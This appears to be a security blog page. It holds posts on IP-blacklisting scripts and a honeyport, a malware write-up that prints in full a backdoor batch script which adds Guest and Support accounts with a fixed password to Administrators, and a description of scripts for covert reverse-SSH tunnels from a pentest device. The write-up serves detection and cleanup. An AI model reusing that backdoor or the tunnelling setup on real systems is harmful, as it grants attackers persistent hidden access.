Cloudflare and Dome9 Blacklister Scripts (Bash/Python)
One of my servers was under attack from an IP in China recently (some lame automated SQLi), but I figured I’d blackhole the source IP anyway.
My first step was to blacklist in Dome9, which I use to manage that server’s firewall, but after noticing that the attacks were still hitting my server I remembered that because I also use Cloudflare and those attacks were getting tunnelled through their network. So the solution (for that particular attack) was to also blacklist the source IP in Cloudflare. When another stupid attack came in a day or so later, I did the same and realised that it would be much easier if I automated the whole process.
So I threw together a Bash script (and then a Python script) that leverages the Cloudflare and Dome9 APIs to submit a given IP address to one or both services.
I’ve put these into my scripts repo on GitHub. Simply insert your Cloudflare and/or Dome9 API keys into the configuration portion of the script and go. Using this you could conceivably fully automate it by auto-detecting brute-force type attacks using a script on the server and calling this script to make the blacklist updates.
Bearing in mind these were very hastily put together, any feedback/improvements are welcome!
Honeyport Script Dome9 Blacklist TTL Update
Dome9 just introduced the ability to set a time-to-live (TTL) option for blacklisted IPs, something I may have bugged them for about once or twice! This is nice as it allows items on your blacklist to expire after a pre-determined amount of time instead of living on in perpetuity. It’s particularly beneficial when you run something like my Honeyport that can end up blacklisting over 400 unique IPs in about two months — it saves having to go in and manually remove blacklisted IPs periodically.
I’ve updated my Honeyport script to include the option to set a TTL on blacklisted IPs when using Dome9. Note this doesn’t yet work when using IPtables as it doesn’t have an easy TTL-style option for rules. This functionality for IPtables is on my TODO list.
Check out honeyport-0.2.sh here!
Linux Bash Ncat Honeyport Script with IPTables and Dome9 Support
After securing systems by hiding them completely from the network/internet using Single Packet Authorization, I’ve recently been interested in doing more so-called ‘active’ defense, by implementing solutions to delay, confuse, or thwart attackers. Completely hiding one’s system is not always feasible (ie. in the case of an internet-facing server), and monitoring, apart from being purely reactive, is not always easy and requires the involvement of a human. An alternative to these is to do some automated active defense. One simple tool in the bag of active defense tricks is the honeyport. Read more
Malicious Backdoor Batch Script Re-Enables Privileged Guest and Support Accounts on Windows Servers
I recently came across a Windows 2000 server that was found to have been compromised. During the investigation, both the Guest and Support_388945a0 accounts were found to had been placed in the Administrators and Remote Desktop Users groups (as the server was internet facing). Things got interesting however, when we removed these accounts from those groups and disabled them both. After logging back in a short while later, both Guest and Support accounts had been re-enabled and put back into the Admins and RDP groups.
When going to check the Windows hosts file to make sure there weren’t any modifications made to it, the following suspicious files were found in %systemroot%\system32\drivers\etc\
1.exe
2.exe
gm.dls
gmreadme
logoff.exe
netstat.exe
query.exe
t.msc
ts.exe
After some analysis, none of these files were found to be inherently malicious, but are instead used by a malicious batch script to enable the Guest and Support accounts with a specific password, and add them to the Admins and RDP group. The 1.exe file, for example, is just a executable with account-management capabilities.
In C:\WINDOWS\Application Compatibility Scripts\Install\Template there was a batch script called “.bat” with the following contents:
@cd %systemroot%\system32\drivers\etc\
@1 localgroup “Remote Desktop Users” SUPPORT_388945a0 /add
@1 localgroup “Remote Desktop Users” guest /add
@1 user guest QQqqaa123321
@1 user guest QQqqaa123321 /add
@1 localgroup administrators guest /add
@1 user guest /active:yes
@1 user SUPPORT_388945a0 QQqqaa123321
@1 user SUPPORT_388945a0 QQqqaa123321 /add
@1 localgroup administrators SUPPORT_388945a0 /add
@1 user SUPPORT_388945a0 /active:yes
At this point it’s fairly evident what’s going on, this bat script is being run periodically, and runs 1.exe to ensure that both the Guest and Support_338945a0 accounts are present, and in the Administrators and Remote Desktop Users groups. It also sets the password to both of those accounts to ‘QQqqaa123321’. If you find these files on your system, consider that server compromised. Remove the files and disable those accounts in the first instance, but a full rebuild is highly recommended to rule out the possibility of other backdoors or rootkits.
These types of batch scripts are not uncommon for backdoor trojans. However, I couldn’t find any references to this particular backdoor, so thought I would post about this in case anyone else searches for information about it. Note that at the time of writing, this batch script is not picked up by any anti-virus software.
PwnieScripts for Pwnie Express
The Pwnie Express (PwnPlug) is a purpose-built penetration testing device in a plug form factor. A key feature is its ability to exfiltrate from a network and connect back to your SSH server using HTTP, SSL, ICMP or DNS tunnels. Check out my tutorial on how to hack your Pwnie to make untraceable reverse SSH connections over Tor.
There are a number of steps required to set up the computer on which the Pwnie’s reverse SSH connections will be received (setting up the listeners). To simplify and automate this process, I’ve put them together into a set of very simple bash scripts. I’m hoping to turn two of these into a proper init.d script, but haven’t yet had the time. The PwnieScripts set contains the following five bash scripts, and are designed to be used on BackTrack 5 (although they can easily be adapted to work on any other distro):
- pwnsetup.sh: Automates the Pwnie Express setup process by enabling SSHD, generating SSH keys, creating a ‘pwnplug’ user, installing HTTPTunnel, generating an SSL certificate, configuring stunnel, and configuring DNS2TCP.
- pwnstart.sh: Kills any existing listeners, and then starts SSHD as well as new HTTPTunnel, stunnel (SSL tunnel), DNS2TCP (DNS tunnel) and ptunnel (ICMP tunnel) listeners.
- pwnwatch.sh: One-line script to monitor netstat for incoming connections from Pwnie Express.
- pwnconnect.sh: aka. the Lazy Script – initiates an SSH connection to the first available established connection from Pwnie Express, so you don’t have to check which ones are active. It’ll use the more secure/relible ones first (SSL, HTTP) where available. Use the -t flag to only connect over Tor.
- pwnstop.sh: Kills all existing HTTPTunnel, stunnel, DNS2TCP and ptunnel listener processses.
Download PwnieScripts (tgz 4kb)
Any feedback or tweaks are welcome. Leave a comment below, send me an email, or message me on Twitter.
[Changelog]
v0.1: Initial release.
Loading ...
